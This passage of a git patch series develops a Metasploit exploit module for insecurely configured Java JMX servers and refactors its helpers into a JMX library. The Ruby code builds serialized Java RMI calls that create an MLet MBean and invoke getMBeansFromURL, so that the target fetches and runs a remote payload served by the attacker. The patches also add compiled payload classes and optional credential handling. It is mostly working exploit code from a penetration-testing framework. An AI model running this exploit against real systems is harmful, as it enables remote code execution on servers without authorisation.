"\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6" + block_data.length = block_data.contents.length + + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + def build_invoke(id, object_name, method_name, arguments) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = id + block_data.contents << "\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') + new_class_desc.serial_version = 0xf03a71beb6d15cf + new_class_desc.flags = 3 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) + + marshall_object_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + marshall_object_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.rmi.MarshalledObject') + marshall_object_class_desc.serial_version = 0x7cbd1e97ed63fc3e + marshall_object_class_desc.flags = 2 + marshall_object_class_desc.fields = [ + Rex::Java::Serialization::Model::Field.new, + Rex::Java::Serialization::Model::Field.new, + Rex::Java::Serialization::Model::Field.new + ] + + marshall_object_class_desc.fields[0].type = 'int' + marshall_object_class_desc.fields[0].name = Rex::Java::Serialization::Model::Utf.new(nil, 'hash') + + marshall_object_class_desc.fields[1].type = 'array' + marshall_object_class_desc.fields[1].name = Rex::Java::Serialization::Model::Utf.new(nil, 'locBytes') + marshall_object_class_desc.fields[1].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') + + marshall_object_class_desc.fields[2].type = 'array' + marshall_object_class_desc.fields[2].name = Rex::Java::Serialization::Model::Utf.new(nil, 'objBytes') + marshall_object_class_desc.fields[2].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') + + marshall_object_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + marshall_object_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + marshall_object_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + marshall_object_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + + data_binary_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + data_binary_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B') + data_binary_class_desc.serial_version = 0xacf317f8060854e0 + data_binary_class_desc.flags = 2 + data_binary_class_desc.fields = [] + data_binary_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + data_binary_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + data_binary_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + data_binary_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + data_binary = Rex::Java::Serialization::Model::NewArray.new + data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new + data_binary.array_description.description = data_binary_class_desc + data_binary.type = 'byte' + # TODO: look into it + data_binary.values = marshalled_argument(arguments).encode.unpack('C*') + + marshall_object = Rex::Java::Serialization::Model::NewObject.new + marshall_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + marshall_object.class_desc.description = marshall_object_class_desc + marshall_object.class_data = [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + + stream.contents << marshall_object + + new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') + new_array_class_desc.serial_version = 0xadd256e7e91d7b47 + new_array_class_desc.flags = 2 + new_array_class_desc.fields = [] + new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_array_class_desc + new_array.type = 'java.lang.String;' + new_array.values = [] + arguments.keys.each do |k| + new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, k) + end + + stream.contents << new_array + + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + def marshalled_argument(arguments) + stream = Rex::Java::Serialization::Model::Stream.new + + new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;') + new_array_class_desc.serial_version = 0x90ce589f1073296c + new_array_class_desc.flags = 2 + new_array_class_desc.fields = [] + new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_array_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_array = Rex::Java::Serialization::Model::NewArray.new + new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + new_array.array_description.description = new_array_class_desc + new_array.type = 'java.lang.Object;' + new_array.values = [ ] + arguments.values.each do |v| + new_array.values << Rex::Java::Serialization::Model::Utf.new(nil, v) + end + stream.contents << new_array + + stream + end + + def load_payload(server_sock, conn_stub) + print_status("Starting service...") + start_service + + print_status("#{peer} - Creating javax.management.loading.MLet MBean...") + send_call(sock: server_sock, call_data: build_create_instance(conn_stub[:id].chop, 'javax.management.loading.MLet')) + return_data = recv_return(sock: server_sock) + answer = get_instance_answer(return_data) + + if answer.nil? + fail_with(Failure::Unknown, "#{peer} - Unexpected createMBean answer") + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + print_good("#{peer} - javax.management.loading.MLet already exists") + when 'javax.management.ObjectInstance' + print_good("#{peer} - javax.management.loading.MLet created") + else + fail_with(Failure::Unknown, "#{peer} - createMBean returned unexpected object #{answer}") + end + + print_status("#{peer} - Getting javax.management.loading.MLet instance...") + my_stream = build_get_instance(conn_stub[:id].chop , 'DefaultDomain:type=MLet') + send_call(sock: server_sock, call_data: my_stream) + return_data = recv_return(sock: server_sock) + + if return_data.nil? + fail_with(Failure::Unknown, "#{peer} - The request to getObjectInstance failed") + end + + answer = get_instance_answer(return_data) + + if answer.nil? + fail_with(Failure::Unknown, "#{peer} - Unexpected getObjectInstance answer") + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + print_good("#{peer} - javax.management.loading.MLet already found") + when 'javax.management.ObjectInstance' + print_good("#{peer} - javax.management.loading.MLet instance created") + else + fail_with(Failure::Unknown, "#{peer} - getObjectInstance returned unexpected object #{answer}") + end + + print_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") + + my_stream = build_invoke( + conn_stub[:id].chop, + 'DefaultDomain:type=MLet', + 'getMBeansFromURL', + { 'java.lang.String' => "#{get_uri}/mlet" } + ) + send_call(sock: server_sock, call_data: my_stream) + return_data = recv_return(sock: server_sock) + + if return_data.nil? + fail_with(Failure::Unknown, "#{peer} - The call to getMBeansFromURL failed") + end + + answer = get_mbean_from_url_answer(return_data) + + if answer.nil? + fail_with(Failure::Unknown, "#{peer} - Unexpected getMBeansFromURL answer") + end + + case answer + when 'javax.management.InstanceAlreadyExistsException' + print_good("#{peer} - The remote payload was already loaded... okey, using it!") + when 'javax.management.ObjectInstance' + print_good("#{peer} - The remote payload has been loaded!") + else + fail_with(Failure::Unknown, "#{peer} - getMBeansFromURL returned unexpected object #{answer}") + end + + print_status("Stopping service...") + stop_service + end + + def get_mbean_from_url_answer(stream) + new_object = nil + + if stream.contents[3] + new_object = stream.contents[3] + else + print_error("#{peer} - getMBeansFromURL returned an incorrect answer") + return nil + end + + unless new_object.class == Rex::Java::Serialization::Model::NewObject + print_error("#{peer} - getMBeansFromURL didn't return a new object") + return nil + end + + new_object.class_desc.description.class_name.contents + end + +end From 2cd15d01550669f4a7b77a7a488245a1a15a8860 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Jan 2015 16:43:03 -0600 Subject: [PATCH 042/103] Delete comments --- modules/exploits/multi/misc/java_jmx_server.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index c0e87310bd..2eb12db67d 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -384,7 +384,6 @@ class Metasploit3 < Msf::Exploit::Remote stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new - #block_data.contents = "\x00" * 22 block_data.contents << id block_data.contents << "\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6" block_data.length = block_data.contents.length @@ -478,7 +477,6 @@ class Metasploit3 < Msf::Exploit::Remote data_binary.array_description = Rex::Java::Serialization::Model::ClassDesc.new data_binary.array_description.description = data_binary_class_desc data_binary.type = 'byte' - # TODO: look into it data_binary.values = marshalled_argument(arguments).encode.unpack('C*') marshall_object = Rex::Java::Serialization::Model::NewObject.new From 4d35131f59085d5f1ae736205e11dfae3c041186 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Jan 2015 17:57:22 -0600 Subject: [PATCH 043/103] Provide description and authentication support --- .../exploits/multi/misc/java_jmx_server.rb | 88 +++++++++++++++---- 1 file changed, 71 insertions(+), 17 deletions(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 2eb12db67d..3c0575c051 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -13,9 +13,14 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Java JMX Server Java Code Execution', + 'Name' => 'Java JMX Server Insecure Configuration Java Code Execution', 'Description' => %q{ - TODO:complete + This module takes advantage a Java JMX interface insecure configuration, which would + allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication + disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while + interfaces with authentication enabled will be vulnerable only if a weak configuration + is deployed, allowing to use javax.management.loading.MLet, or having a security manager + allowing to load a ClassLoader MBean. }, 'Author' => [ @@ -47,7 +52,10 @@ class Metasploit3 < Msf::Exploit::Remote register_options([ Opt::RPORT(1617), + OptString.new('USERNAME', [false, 'Username to use']), + OptString.new('PASSWORD', [false, 'Password to use']), ], self.class) + end def peer @@ -89,33 +97,43 @@ class Metasploit3 < Msf::Exploit::Remote def exploit mbean = get_mbean_server - print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}") + print_good("#{peer} - JMX MBean server endpoint found on #{mbean[:address]}:#{mbean[:port]}, connecting...") server_sock = connect(false, { 'RPORT' => mbean[:address], 'RPORT' => mbean[:port] }) send_header(sock: server_sock) ack = recv_protocol_ack(sock: server_sock) if ack.nil? - print_error("#{peer} - Filed to negotiate RMI protocol") - disconnect - return + fail_with(Failure::NotFound ,"#{peer} - Filed to negotiate RMI protocol") end - print_status("#{peer} - Doing unknown call..") + print_status("#{peer} - Sending handshake / authentication...") + + send_call(sock: server_sock, call_data: build_handshake(mbean[:id].chop)) - send_call(sock: server_sock, call_data: build_unknown_call(mbean[:id].chop)) return_data = recv_return(sock: server_sock) + print_status("#{return_data}") + if return_data.nil? - print_error("#{peer} - Failed to call unknown call") - disconnect - return - else - print_good("#{peer} - Got unknown answer =) ") + fail_with(Failure::Unknown, "#{peer} - Failed to send handshake") end - conn_stub = extract_rmi_connection_stub(return_data) - #print_status("#{return_data}") + answer = get_instance_answer(return_data) + + if answer.nil? + fail_with(Failure::Unknown, "#{peer} - Unexpected handshake answer") + end + + case answer + when 'java.lang.SecurityException' + fail_with(Failure::NoAccess, "#{peer} - JMX end point requires authentication, but it failed") + when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + print_good("#{peer} - Handshake completed, proceeding...") + conn_stub = extract_rmi_connection_stub(return_data) + else + fail_with(Failure::Unknown, "#{peer} - Handshake returned unexpected object #{answer}") + end print_status("#{peer} - Getting JMXPayload instance...") my_stream = build_get_instance(conn_stub[:id].chop , 'MLetCompromise:name=jmxpayload,id=1') @@ -155,7 +173,7 @@ class Metasploit3 < Msf::Exploit::Remote disconnect end - def build_unknown_call(id) + def build_handshake(id) stream = Rex::Java::Serialization::Model::Stream.new block_data = Rex::Java::Serialization::Model::BlockData.new @@ -163,11 +181,45 @@ class Metasploit3 < Msf::Exploit::Remote block_data.length = block_data.contents.length stream.contents << block_data - stream.contents << Rex::Java::Serialization::Model::NullReference.new + + if datastore['USERNAME'] + username = datastore['USERNAME'] + password = datastore['PASSWORD'] || '' + + stream.contents << build_array_auth(username, password) + else + stream.contents << Rex::Java::Serialization::Model::NullReference.new + end stream end + def build_array_auth(username, password) + auth_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + auth_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') + auth_array_class_desc.serial_version = 0xadd256e7e91d7b47 + auth_array_class_desc.flags = 2 + auth_array_class_desc.fields = [] + auth_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + auth_array_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + auth_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + auth_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + auth_array = Rex::Java::Serialization::Model::NewArray.new + auth_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + auth_array.array_description.description = auth_array_class_desc + auth_array.type = 'java.lang.String;' + auth_array.values = [ + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) + ] + + auth_array + end + def extract_rmi_connection_stub(stream) stub = false stub_index = 0 @@ -565,6 +617,8 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{peer} - javax.management.loading.MLet already exists") when 'javax.management.ObjectInstance' print_good("#{peer} - javax.management.loading.MLet created") + when 'java.lang.SecurityException' + fail_with(Failure::NoAccess, "#{peer} - The provided user hasn't enough privileges") else fail_with(Failure::Unknown, "#{peer} - createMBean returned unexpected object #{answer}") end From 26789fa76c74fc23890ed62b42d4c4ce0a109fb1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Jan 2015 17:58:09 -0600 Subject: [PATCH 044/103] Add JMXPayload binary classes for testing --- data/java/metasploit/JMXPayload.class | Bin 0 -> 345 bytes data/java/metasploit/JMXPayloadMBean.class | Bin 0 -> 163 bytes 2 files changed, 0 insertions(+), 0 deletions(-) create mode 100644 data/java/metasploit/JMXPayload.class create mode 100644 data/java/metasploit/JMXPayloadMBean.class diff --git a/data/java/metasploit/JMXPayload.class b/data/java/metasploit/JMXPayload.class new file mode 100644 index 0000000000000000000000000000000000000000..40851754368d712380e91f22d46856738201de40 GIT binary patch literal 345 zcmZusO-lk%6g^kRc{xs|<44fW-AoYk1B@0%n@AD_5nMg>Ay39PqOZt*WvjwPKfoUq zT|-R5%{}*U&OP_u?f2#jS=`{#gM)JqMO+A!1j+&d!M)W++dD!wjCus;J{>D2ix)$v zhSAehzREa}W)eRSr)p%I1n=Q(q~=zqW+_nd;X(*hebi7V)Mm=c5Mn0G8 l8M87YG3Ks6K=0guX&xTic5<+nUHU|Z*1vjz>n_X(egLTCNqqnS literal 0 HcmV?d00001 diff --git a/data/java/metasploit/JMXPayloadMBean.class b/data/java/metasploit/JMXPayloadMBean.class new file mode 100644 index 0000000000000000000000000000000000000000..1aa20d9df855376e7ec31c65184147e85924adc6 GIT binary patch literal 163 zcmX^0Z`VEsW(HjbE_McXb_Nbc2IivDJVpi)4Nae{#Ii*FoW#6zegCAa)Z`LtMg}g| zisaOSlFa~eg+mGpB2ah(QFJ10A(B}vj6}9 literal 0 HcmV?d00001 From 00117fc963025493935c641672ee9894976b2c53 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 15 Jan 2015 21:18:03 -0600 Subject: [PATCH 045/103] Do first and ugly refactoring --- lib/msf/core.rb | 3 + lib/msf/jmx.rb | 48 ++ lib/msf/jmx/discovery.rb | 82 ++++ lib/msf/jmx/handshake.rb | 105 +++++ lib/msf/jmx/mbean.rb | 11 + lib/msf/jmx/mbean/server_connection.rb | 213 +++++++++ .../exploits/multi/misc/java_jmx_server.rb | 415 +----------------- 7 files changed, 463 insertions(+), 414 deletions(-) create mode 100644 lib/msf/jmx.rb create mode 100644 lib/msf/jmx/discovery.rb create mode 100644 lib/msf/jmx/handshake.rb create mode 100644 lib/msf/jmx/mbean.rb create mode 100644 lib/msf/jmx/mbean/server_connection.rb diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 2eb296a43b..0feab4d5f1 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -78,6 +78,9 @@ require 'msf/kerberos/client' # Java RMI Support require 'msf/rmi/client' +# Java JMX Support +require 'msf/jmx' + # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/jmx.rb b/lib/msf/jmx.rb new file mode 100644 index 0000000000..2c72dbfff4 --- /dev/null +++ b/lib/msf/jmx.rb @@ -0,0 +1,48 @@ +# -*- coding: binary -*- + +module Msf + module Jmx + require 'msf/jmx/discovery' + require 'msf/jmx/handshake' + require 'msf/jmx/mbean' + + include Msf::Jmx::Discovery + include Msf::Jmx::Handshake + include Msf::Jmx::MBean + + def get_instance_answer(stream) + new_object = nil + + if stream.contents[1] + new_object = stream.contents[1] + else + print_error("#{peer} - getObjectInstance returned an incorrect answer") + return nil + end + + unless new_object.class == Rex::Java::Serialization::Model::NewObject + print_error("#{peer} - getObjectInstance didn't return a new object") + return nil + end + + new_object.class_desc.description.class_name.contents + end + + def get_mbean_from_url_answer(stream) + new_object = nil + + if stream.contents[3] + new_object = stream.contents[3] + else + print_error("#{peer} - getMBeansFromURL returned an incorrect answer") + return nil + end + + unless new_object.class == Rex::Java::Serialization::Model::NewObject + print_error("#{peer} - getMBeansFromURL didn't return a new object") + return nil + end + + new_object.class_desc.description.class_name.contents + end end +end diff --git a/lib/msf/jmx/discovery.rb b/lib/msf/jmx/discovery.rb new file mode 100644 index 0000000000..39013b36d6 --- /dev/null +++ b/lib/msf/jmx/discovery.rb @@ -0,0 +1,82 @@ +# -*- coding: binary -*- + +module Msf + module Jmx + module Discovery + def build_discovery + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + block_data.contents << "\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + block_data.length = block_data.contents.length + + stream.contents << block_data + + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') + + stream + end + + def extract_mbean_server(stream) + my_block = false + stub = false + i = 0 + stub_index = 0 + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::BlockData && i == 0 + my_block = true + end + + if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIServerImpl_Stub' + stub = true + stub_index = i + break + end + i = i + 1 + end + + unless my_block && stub + return nil + end + + my_block_id = stream.contents[0].contents[1..-1] + + block_data = stream.contents[stub_index + 1] + data_io = StringIO.new(block_data.contents) + + ref_length = data_io.read(2) + unless ref_length && ref_length.length == 2 + return nil + end + ref_length = ref_length.unpack('n')[0] + + ref = data_io.read(ref_length) + unless ref && ref.length == ref_length && ref == 'UnicastRef' + return nil + end + + address_length = data_io.read(2) + unless address_length && address_length.length == 2 + return nil + end + address_length = address_length.unpack('n')[0] + + address = data_io.read(address_length) + unless address && address.length == address_length + return nil + end + + port = data_io.read(4) + unless port && port.length == 4 + return nil + end + port = port.unpack('N')[0] + + id = data_io.read + + { address: address, port: port, id: id, my_id: my_block_id } + end + end + end +end diff --git a/lib/msf/jmx/handshake.rb b/lib/msf/jmx/handshake.rb new file mode 100644 index 0000000000..70dcfa6e21 --- /dev/null +++ b/lib/msf/jmx/handshake.rb @@ -0,0 +1,105 @@ +# -*- coding: binary -*- + +module Msf + module Jmx + module Handshake + def build_handshake(id) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = id + "\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8" + block_data.length = block_data.contents.length + + stream.contents << block_data + + if datastore['USERNAME'] + username = datastore['USERNAME'] + password = datastore['PASSWORD'] || '' + + stream.contents << build_array_auth(username, password) + else + stream.contents << Rex::Java::Serialization::Model::NullReference.new + end + + stream + end + + def build_array_auth(username, password) + auth_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + auth_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.String;') + auth_array_class_desc.serial_version = 0xadd256e7e91d7b47 + auth_array_class_desc.flags = 2 + auth_array_class_desc.fields = [] + auth_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + auth_array_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + auth_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + auth_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + auth_array = Rex::Java::Serialization::Model::NewArray.new + auth_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + auth_array.array_description.description = auth_array_class_desc + auth_array.type = 'java.lang.String;' + auth_array.values = [ + Rex::Java::Serialization::Model::Utf.new(nil, username), + Rex::Java::Serialization::Model::Utf.new(nil, password) + ] + + auth_array + end + + def extract_rmi_connection_stub(stream) + stub = false + stub_index = 0 + stream.contents.each do |content| + if content.class == Rex::Java::Serialization::Model::NewObject && content.class_desc.description.class_name.contents == 'javax.management.remote.rmi.RMIConnectionImpl_Stub' + stub = true + break + end + stub_index = stub_index + 1 + end + + unless stub + return nil + end + + block_data = stream.contents[stub_index + 1] + data_io = StringIO.new(block_data.contents) + + ref_length = data_io.read(2) + unless ref_length && ref_length.length == 2 + return nil + end + ref_length = ref_length.unpack('n')[0] + + ref = data_io.read(ref_length) + unless ref && ref.length == ref_length && ref == 'UnicastRef' + return nil + end + + address_length = data_io.read(2) + unless address_length && address_length.length == 2 + return nil + end + address_length = address_length.unpack('n')[0] + + address = data_io.read(address_length) + unless address && address.length == address_length + return nil + end + + port = data_io.read(4) + unless port && port.length == 4 + return nil + end + port = port.unpack('N')[0] + + id = data_io.read + + { address: address, port: port, :id => id } + end + end + end +end diff --git a/lib/msf/jmx/mbean.rb b/lib/msf/jmx/mbean.rb new file mode 100644 index 0000000000..ccee2cfc50 --- /dev/null +++ b/lib/msf/jmx/mbean.rb @@ -0,0 +1,11 @@ +# -*- coding: binary -*- + +module Msf + module Jmx + module MBean + require 'msf/jmx/mbean/server_connection' + + include Msf::Jmx::MBean::ServerConnection + end + end +end diff --git a/lib/msf/jmx/mbean/server_connection.rb b/lib/msf/jmx/mbean/server_connection.rb new file mode 100644 index 0000000000..8a5b5167f0 --- /dev/null +++ b/lib/msf/jmx/mbean/server_connection.rb @@ -0,0 +1,213 @@ +# -*- coding: binary -*- + +module Msf + module Jmx + module MBean + module ServerConnection + + def build_create_instance(id, name) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents << id + block_data.contents << "\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6" + block_data.length = block_data.contents.length + + stream.contents << block_data + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::NullReference.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + def build_get_instance(id, name) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = id + block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') + new_class_desc.serial_version = 0xf03a71beb6d15cf + new_class_desc.flags = 3 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + stream.contents << Rex::Java::Serialization::Model::NullReference.new + + stream + end + + def build_invoke(id, object_name, method_name, arguments) + stream = Rex::Java::Serialization::Model::Stream.new + + block_data = Rex::Java::Serialization::Model::BlockData.new + block_data.contents = id + block_data.contents << "\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20" + block_data.length = block_data.contents.length + + stream.contents << block_data + + new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName') + new_class_desc.serial_version = 0xf03a71beb6d15cf + new_class_desc.flags = 3 + new_class_desc.fields = [] + new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + new_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + new_object = Rex::Java::Serialization::Model::NewObject.new + new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + new_object.class_desc.description = new_class_desc + new_object.class_data = [] + + stream.contents << new_object + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) + stream.contents << Rex::Java::Serialization::Model::EndBlockData.new + + stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) + + marshall_object_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + marshall_object_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'java.rmi.MarshalledObject') + marshall_object_class_desc.serial_version = 0x7cbd1e97ed63fc3e + marshall_object_class_desc.flags = 2 + marshall_object_class_desc.fields = [ + Rex::Java::Serialization::Model::Field.new, + Rex::Java::Serialization::Model::Field.new, + Rex::Java::Serialization::Model::Field.new + ] + + marshall_object_class_desc.fields[0].type = 'int' + marshall_object_class_desc.fields[0].name = Rex::Java::Serialization::Model::Utf.new(nil, 'hash') + + marshall_object_class_desc.fields[1].type = 'array' + marshall_object_class_desc.fields[1].name = Rex::Java::Serialization::Model::Utf.new(nil, 'locBytes') + marshall_object_class_desc.fields[1].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') + + marshall_object_class_desc.fields[2].type = 'array' + marshall_object_class_desc.fields[2].name = Rex::Java::Serialization::Model::Utf.new(nil, 'objBytes') + marshall_object_class_desc.fields[2].field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B') + + marshall_object_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + marshall_object_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new + ] + marshall_object_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + marshall_object_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new + + + data_binary_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + data_binary_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[B') + data_binary_class_desc.serial_version = 0xacf317f8060854e0 + data_binary_class_desc.flags = 2 + data_binary_class_desc.fields = [] + data_binary_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + data_binary_class_desc.class_annotation.contents = [ + Rex::Java::Serialization::Model::NullReference.new, + 